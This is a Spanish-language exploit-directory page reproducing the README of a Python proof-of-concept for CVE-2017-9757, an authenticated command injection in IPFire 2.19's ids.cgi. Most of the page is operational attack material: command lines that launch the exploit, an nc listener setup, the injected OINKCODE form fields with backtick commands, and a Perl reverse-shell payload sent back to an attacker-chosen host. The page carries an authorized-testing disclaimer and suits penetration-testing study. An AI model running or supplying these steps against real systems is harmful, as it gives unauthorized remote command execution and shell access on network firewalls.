Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
IPFire_2.19_RCE_Authenticated — Este exploit se basa en CVE-2017-9757 y fue construido sobre el exploit original de 0x09AL. | Kitploit
Herramientas/GitHubGitHub/joaoaugustom/ipfire_2.19_rce_authenticated
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubjoaoaugustom/ipfire_2.19_rce_authenticated

IPFire_2.19_RCE_Authenticated

Este exploit se basa en CVE-2017-9757 y fue construido sobre el exploit original de 0x09AL.

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
1hace 13 díasAún no revisado

IPFire 2.19 OINKCODE RCE PoC

Prueba de concepto en Python para la vulnerabilidad de inyección de comandos autenticada en la página ids.cgi de IPFire 2.19 a través del parámetro OINKCODE.

Solo para pruebas de seguridad autorizadas y laboratorios de formación. Ejecute este PoC únicamente contra sistemas que le pertenezcan o para los que tenga permiso explícito de prueba. El autor no es responsable del uso indebido o de los daños causados por este código.

Descripción general de la vulnerabilidad

IPFire 2.19 es vulnerable a la inyección de comandos del sistema operativo en el parámetro OINKCODE procesado por /cgi-bin/ids.cgi. El parámetro se incorpora a un comando shell sin una neutralización adecuada, lo que permite que un usuario autenticado ejecute comandos en el host IPFire.

La vulnerabilidad se identifica comúnmente como CVE-2017-9757 y se corresponde con CWE-78: Neutralización incorrecta de elementos especiales utilizados en un comando del sistema operativo ('Inyección de comandos del sistema operativo').

El PoC público original se probó contra IPFire 2.19 Core Update 110. El módulo de Metasploit considera que las versiones hasta IPFire 2.19 con Core Update 110 están dentro de su rango de comprobación admitido.

Por qué se creó este PoC

El PoC original en Python de Exploit-DB realiza una solicitud de verificación usando:

root@kitploit:~
OINKCODE = '`id`'

Luego declara que el objetivo es vulnerable solo si la respuesta HTTP contiene:

root@kitploit:~
uid=99(nobody)

Esa validación no es fiable. El comando puede ejecutarse mientras su salida es consumida por el comando shell construido por la CGI, en lugar de reflejarse en la respuesta HTML devuelta al cliente. Como resultado, el servidor puede devolver una página HTTP 200 normal sin incluir la salida de id, lo que produce un falso negativo.

Esta implementación sigue la lógica de validación utilizada por el módulo de Metasploit:

  1. Solicitar /cgi-bin/pakfire.cgi con autenticación básica HTTP.
  2. Extraer la versión de IPFire y el Core Update de la respuesta.
  3. Tratar IPFire <= 2.19 y Core Update <= 110 como aparentemente vulnerables.
  4. Enviar el payload de comando a /cgi-bin/ids.cgi en el campo OINKCODE.
  5. Tratar una respuesta distinta de 200 como una solicitud rechazada o un problema de autenticación.
  6. No inspeccionar el cuerpo HTML en busca de uid=99(nobody).

El PoC también utiliza un payload de shell de comandos en Perl, que coincide con la familia de payloads de comando admitida por el módulo de Metasploit. Una respuesta HTTP correcta no prueba, por sí misma, que el reverse shell se haya conectado; también deben verificarse el listener y la ruta de red.

Diferencias entre los exploits de origen

El criterio de éxito importante del módulo de Metasploit es que un código de respuesta inesperado indica credenciales no válidas o una solicitud rechazada. No requiere que el cuerpo de la respuesta contenga la salida del comando inyectado.

Requisitos

  • Python 3
  • requests
  • Credenciales válidas de IPFire con acceso a la interfaz web
  • Un intérprete de Perl en el objetivo, normalmente disponible como perl
  • Un listener accesible desde el host IPFire

Instale la dependencia de Python:

root@kitploit:~
python3 -m pip install requests

Uso

1. Comprobar solo la versión del objetivo

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --check-only \
  --insecure

La contraseña se solicita de forma interactiva cuando no se proporciona --password. Esto es recomendable porque poner una contraseña directamente en un comando puede exponerla a través del historial del shell o de la lista de procesos.

2. Iniciar un listener

Use un listener en la dirección y el puerto proporcionados como --lhost y --lport:

root@kitploit:~
rlwrap nc -lvnp 4444

Si rlwrap no está instalado, use:

root@kitploit:~
nc -lvnp 4444

3. Enviar el payload de reverse shell en Perl

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --insecure

Para el certificado HTTPS autofirmado habitual de IPFire, se requiere --insecure/-k. Úselo solo cuando la verificación de certificados no sea posible de forma intencionada en el laboratorio.

URL completa en lugar de host y puerto

El objetivo también puede proporcionarse como una URL base completa:

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target https://192.0.2.10:444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --insecure

Omitir la identificación de versión

Use esto solo cuando la versión de IPFire ya se haya confirmado de forma independiente:

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --skip-version-check \
  --insecure

Especificar una ruta de Perl diferente

Si Perl no está en el PATH predeterminado del objetivo, proporcione su ruta absoluta:

root@kitploit:~
--perl-path /usr/bin/perl

Opciones de línea de comandos

Interpretación de la salida

HTTP 200 desde ids.cgi

Esto significa que la solicitud HTTP fue aceptada por la CGI según el mismo criterio práctico utilizado por el módulo de Metasploit. Una respuesta HTML normal es lo esperado y no es prueba de que la comprobación de vulnerabilidad haya fallado.

Compruebe el listener en busca del shell. Si no llega ningún shell, investigue la dirección de callback, el enrutamiento, las reglas de salida del firewall, la disponibilidad de Perl y el puerto seleccionado.

HTTP 401 o HTTP 403

La solicitud no fue autorizada. Compruebe el nombre de usuario, la contraseña, la URL de destino, el puerto y si la cuenta puede acceder a la interfaz web de IPFire.

HTTP 404

La URL de destino o la ruta CGI probablemente sean incorrectas, o el servicio no es la interfaz web de IPFire esperada.

Versión no reconocida

El script no pudo encontrar la cadena de versión esperada en pakfire.cgi. Confirme manualmente el objetivo antes de usar --skip-version-check.

Tiempo de espera agotado tras el envío del payload

El comando inyectado puede mantener abierta la solicitud CGI mientras intenta la callback. Tómelo como una indicación para revisar el listener, no como prueba definitiva de un shell.

Flujo técnico de la solicitud

El script utiliza autenticación básica HTTP y envía los siguientes campos de formulario a ids.cgi:

root@kitploit:~
ENABLE_SNORT_GREEN=on
ENABLE_SNORT=on
RULES=registered
OINKCODE=`<Perl command payload>`
ACTION=Download new ruleset
ACTION2=snort

El comando está encerrado entre comillas invertidas porque la aplicación vulnerable pasa el valor de OINKCODE a un comando shell. El comportamiento exacto de la solicitud depende de la versión del objetivo y de su configuración local.

Limitaciones

  • Esto es una prueba de concepto, no un framework de explotación completo.
  • La comprobación de versión se basa en el comportamiento del módulo de Metasploit de referencia; no es una garantía de que todos los objetivos con un banner coincidente sean explotables.
  • Una respuesta 200 confirma que la solicitud fue aceptada, no que el reverse shell haya llegado al listener.
  • El payload en Perl requiere un intérprete de Perl funcional y conectividad de red desde IPFire hasta el listener.
  • El script no intenta omitir la autenticación ni explotar CSRF; se esperan credenciales válidas.

Referencias

  • NVD: CVE-2017-9757
  • Exploit-DB 42149: IPFire 2.19 Remote Code Execution
  • Exploit-DB 42369: IPFire < 2.19 Update Core 110 Remote Code Execution
  • Metasploit module: ipfire_oinkcode_exec.rb
  • Metasploit Perl command payload
  • CWE-78: OS Command Injection

Atribución

Este proyecto es una implementación educativa en Python basada en la investigación pública y la prueba de concepto de 0x09AL, y en el módulo de Metasploit mantenido por la comunidad de Metasploit. No está afiliado ni respaldado por IPFire, Exploit-DB o Rapid7.

Descargar herramienta
CaracterísticaExploit-DB 42149 Python PoCExploit-DB 42369 / MetasploitEste PoC
Endpoint vulnerable/cgi-bin/ids.cgi/cgi-bin/ids.cgi/cgi-bin/ids.cgi
Comprobación de versiónNingunaGET /cgi-bin/pakfire.cgiMisma comprobación estilo Metasploit
AutenticaciónAutenticación básicaCabecera de autenticación básicaAutenticación básica mediante requests.Session
Validación inicialEjecuta `id` y busca en el cuerpo de la respuestaComprueba la versión y luego envía el payloadComprueba la versión y usa el código de resultado HTTP
Riesgo de falso negativoAlto: depende de que uid=99(nobody) se reflejeEvita la validación del contenido del cuerpoEvita la validación del contenido del cuerpo
Reverse shellBash /dev/tcpPayload de comando Unix de MetasploitShell de comando Perl IO::Socket::INET
Gestión de TLSVerificación de certificados deshabilitada en el PoCSSL habilitado por defectoLa verificación solo se deshabilita con -k/--insecure
ConfiguraciónLos valores se editan en el código fuenteOpciones de MetasploitArgumentos de línea de comandos
OpciónPor defectoDescripción
-t, --targetObligatorioHost/IP de destino o URL base completa
--schemehttpsEsquema utilizado cuando el objetivo es solo un host/IP
--web-port444Puerto de la interfaz web de IPFire
-u, --usernameadminNombre de usuario de IPFire
-p, --passwordSolicitudContraseña; omítala para introducirla sin eco
--lhostObligatorioDirección del listener accesible desde IPFire
--lport4444Puerto del listener
--perl-pathperlEjecutable de Perl en el objetivo
--timeout10Tiempo de espera HTTP en segundos
-k, --insecureDeshabilitadoDeshabilitar la verificación del certificado TLS
--skip-version-checkDeshabilitadoOmitir la comprobación de pakfire.cgi
--check-onlyDeshabilitadoRealizar solo la comprobación de versión